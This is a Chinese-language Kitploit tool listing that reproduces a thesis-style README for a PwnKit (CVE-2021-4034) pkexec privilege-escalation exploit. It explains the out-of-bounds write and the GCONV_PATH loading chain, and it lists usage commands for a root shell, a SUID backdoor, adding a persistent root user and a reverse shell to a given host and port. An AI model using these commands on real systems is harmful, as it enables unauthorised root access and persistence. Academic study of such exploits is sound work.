Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-4034 — Advanced Linux Privilege Escalation research on CVE-2021-4034 (PwnKit). Features an optimized exploit with 7 polymorphic payload modes (Interactive Shell, Backdoor, User Creation, Reverse Shell, etc). Portfolio piece focused on memory corruption logic, environment variable manipulation, and anti-forensic techniques. | Kitploit
工具/GitHubGitHub/devianntsec/cve-2021-4034
Privilege EscalationMemory ForensicsVulnerability AnalysisExploitationPost-ExploitationPenetration TestingLearning & EducationRed TeamingPayload Development

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

关于

Advanced Linux Privilege Escalation research on CVE-2021-4034 (PwnKit). Features an optimized exploit with 7 polymorphic payload modes (Interactive Shell, Backdoor, User Creation, Reverse Shell, etc). Portfolio piece focused on memory corruption logic, environment variable manipulation, and anti-forensic techniques.

分享
Binary Exploitation
GitHubdevianntsec/cve-2021-4034

CVE-2021-4034

查看仓库
14个月前尚未审核

CVE-2021-4034 — PwnKit 本地权限提升 · 硕士论文研究

Platform Language License: MIT Research CVSS

polkit 的 pkexec 实用程序中的内存损坏漏洞
本地权限提升 → 通过越界写入获得 root 权限
受影响版本:polkit 0.105-31 及更早版本 · 补丁版本:polkit 0.105-33(2022 年 1 月)


通过 CVE-2021-4034 - PwnKit 获取的交互式 root shell

描述

本仓库包含我关于 CVE-2021-4034 的 硕士论文研究。这是一个高严重性(CVSS 7.8)的 本地权限提升 漏洞,存在于 polkit 的 pkexec 实用程序中,通常被称为 PwnKit。

该漏洞源于 pkexec 参数处理逻辑中的 越界写入。当 pkexec 以空或精心构造的 argv 执行时,它会读取并写入超出 argv 数组边界的数据,进入 envp 数组,从而允许非特权本地用户注入恶意环境变量,这些变量随后被作为共享库加载,以 root 权限执行任意代码。

我的贡献

方面描述
多载荷漏洞利用Python 包装器,包含 6 种载荷模式,包括 shell、id、后门和反向 shell
自动化环境设置自动构建 GCONV_PATH 并配置 gconv-modules

仓库结构

root@kitploit:~
CVE-2021-4034/
├── README.md                        # 本文件
├── LICENSE                          # MIT 许可证
│
├── exploit/
│   └── pwnkit.py                    # 包含多种载荷的高级漏洞利用程序
│
└── docs/
    ├── screenshots/                 # 利用演示截图
    │   ├── 01-pwnkit-shell.png
    │   ├── 02-pwnkit-id.png
    │   ├── 03-pwnkit-whoami.png
    │   ├── 04-pwnkit-backdoor.png
    │   ├── 05-pwnkit-add-user.png
    │   ├── 06-pwnkit-reverse.png
    │   └── 07-pwnkit-custom.png
    │
    └── analysis/
        ├── 01-root-cause.md         # 漏洞根本原因分析
        ├── 02-exploitation-chain.md # 利用链分解
        └── 03-timeline.md           # CVE 时间线

快速开始

先决条件

  • 运行存在漏洞的 polkit 的 Linux 系统(pkexec --version 显示为 0.105 或更早版本)
  • GCC 编译器(apt install gcc)
  • Python 3.6+
  • 标准用户账户(无需 root 权限)
  • 建议在隔离的虚拟机中进行测试

使用方法

root@kitploit:~
# 交互式 root shell(默认)
python3 exploit/pwnkit.py -p shell

# 验证执行上下文
python3 exploit/pwnkit.py -p whoami

# 以 root 身份执行自定义命令
python3 exploit/pwnkit.py -p custom -c "id"

# 在 /tmp/.sh 创建 SUID 后门
python3 exploit/pwnkit.py -p backdoor_suid

# 添加持久的 root 用户
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword

# 反向 shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444

载荷参考


技术概述

漏洞根本原因

pkexec 处理自身的 argv 以定位要运行的程序。当以 argc == 0(空参数向量)调用时,对 argv 的边界检查会静默失败。随后的越界读取将 envp[0] 当作 argv[1] 处理,而向 envp 的越界写入允许攻击者用精心构造的路径替换环境变量。当 pkexec 随后调用 g_printerr() 时,它会从现已受攻击者控制的环境中加载 GCONV_PATH,从而加载攻击者提供的共享库并赋予其 root 权限。

root@kitploit:~
argc == 0  →  argv[1] 读取 envp[0]
             argv[1] = "GCONV_PATH=."  (写回 envp)
             pkexec 加载 ./pwnkit.so  (攻击者控制的共享库)
             gconv_init() 以 root 权限执行

利用链

root@kitploit:~
1. 构造 argv = { NULL }  →  argc = 0,触发越界访问
2. 设置 envp[0] = "pwnkit.so:."
3. 设置 envp[1] = "PATH=GCONV_PATH=."
4. pkexec 将 "pwnkit.so:." 越界写入 envp[0],当作 argv[1]
5. pkexec 解析 GCONV_PATH=. 并加载 gconv-modules
6. gconv-modules 将 "PWNKIT" 字符集映射到 pwnkit.so
7. 以 root 权限调用 pwnkit.so:gconv_init()
8. 执行载荷(shell / 后门 / 反向 shell 等)

关键技术细节


演示

交互式 Root Shell

交互式 Shell

ID 验证

ID 载荷

Whoami 验证

Whoami 载荷

SUID 后门

后门载荷

添加 Root 用户

添加 Root 用户

反向 Shell

反向 Shell

自定义命令

自定义载荷


经验测试

所有测试均在隔离的 VirtualBox 虚拟机上进行,运行 Ubuntu 20.04 LTS,polkit 版本为 0.105-26(存在漏洞),未暴露在网络环境中。


技术文档

文档描述
根本原因分析pkexec 参数处理中的越界写入
利用链GCONV_PATH 注入的逐步分解
CVE 时间线

学术背景

本研究是我攻读 网络安全硕士学位(UCAM — 国际网络安全校区)的一部分,分析了多种环境下的 N-Day 漏洞。

本 CVE 代表论文中的 Linux 本地权限提升 向量,展示了:

  • SUID 二进制文件中的内存安全漏洞
  • 通过环境变量操纵进行越界写入利用
  • 通过 glibc 的 iconv 基础设施进行共享库注入
  • 多载荷后利用框架设计

关键词: LPE · Polkit · pkexec · SUID · GCONV_PATH · CVE-2021-4034 · PwnKit


作者

Annais Molina (devianntsec) — 网络安全硕士生

GitHub LinkedIn Email


致谢

  • Qualys 研究团队 — 原始发现和负责任的披露
  • arthepsy — 早期概念验证参考
  • berdav — 公开的 PoC 参考实现

许可证

MIT 许可证 — 参见 LICENSE


法律免责声明

本仓库 仅用于教育和安全研究目的,作为学术硕士论文的一部分。所有测试均在隔离的虚拟机上执行,未暴露在网络环境中。仅在你拥有或已获得明确书面授权测试的系统上使用。未经授权对系统使用是非法行为,可能导致刑事起诉。

© 2026 Annais Molina · 网络安全硕士论文
UCAM Universidad Católica San Antonio de Murcia · 国际网络安全校区
下载工具
后利用模块
SUID 后门、创建 root 用户、自定义命令执行
学术文档根本原因分析、利用链、漏洞时间线
载荷描述输出
shell以 root 身份生成交互式 /bin/sh交互式 shell
id将 id 和 whoami 的输出写入 /tmp/pwnkit_id.txt文件
whoami将 UID/eUID 验证写入 /tmp/pwnkit_root_test文件
backdoor_suid在 /tmp/.sh 创建 SUID root 的 bash 副本持久后门
add_root_user将自定义用户追加到 /etc/passwd持久访问
reverse_shell通过 Python 回连到攻击者远程 shell
custom以 root 身份执行任意命令标准输出 / 文件
组件值备注
存在漏洞的二进制文件/usr/bin/pkexecSUID root
触发条件argc == 0空 argv
写入原语向 envp 越界写入通过 argv[argc-1]
加载机制GCONV_PATH + gconv-modules标准 glibc iconv
执行上下文共享库中的 gconv_init()以 EUID 0 运行
受影响版本polkit ≤ 0.105-31所有主流 Linux 发行版
载荷结果备注
shell✅ 获取 root shell立即获得交互式访问
id✅ 确认 uid=0(root)输出位于 /tmp/pwnkit_id.txt
whoami✅ 确认 rootUID/eUID = 0
backdoor_suid✅ 在 /tmp/.sh 上设置 SUID 位利用后持久存在
add_root_user✅ 创建自定义用户重启后仍然存在
reverse_shell✅ 建立连接Python 反向 shell 正常工作
custom✅ 任意命令执行完整 root 上下文
发现、披露和补丁时间线